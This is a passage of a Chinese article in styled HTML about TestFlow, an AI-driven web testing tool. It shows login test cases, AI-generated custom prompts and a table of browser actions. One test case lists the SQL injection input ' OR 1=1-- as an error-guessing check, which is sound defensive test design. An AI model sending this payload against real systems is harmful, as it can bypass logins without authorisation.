0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">等价类-无效</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">5</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">正确用户名+错误密码</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">等价类-无效</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">6</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">SQL注入 </span></span><code><span leaf=""><span textstyle="" style="font-size: 15px;">&#39; OR 1=1--</span></span></code></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">错误推测</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">7</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">超长用户名(&gt;100字符)</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">边界值</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">8</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">正确账号密码登录</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">场景法-正向</span></span></strong></td></tr></tbody></table></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">7.3 AI 智能生成定制化提示词</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">除了内置默认提示词，TestFlow 还支持 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">用 AI 生成针对特定系统的定制提示词</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">输入系统名称和 URL，AI 会推测系统类型（电商？OA？CMS？），自动调整测试策略和功能模块描述。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6064814814814815" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038323" src="https://wechat2rss.xlab.app/img-proxy/?k=9e43b51b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdW70rAyqgeDw6frmaNPvl16lGISrKxMER1603FwaAIPk7CXCEFicRJ4EaMCOhSJcP3lMiafbdlW6ZtGLx4NFnSZ7aDKaVOm07WHk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">八、浏览器操作引擎</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 支持 7 种浏览器操作类型：</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">操作类型</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">说明</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">典型场景</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">click</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">点击元素</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">按钮、链接、菜单项</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">input</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">输入文本</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">表单填写</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">select</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">选择下拉项</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">下拉框选择</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">navigate</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">页面跳转</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 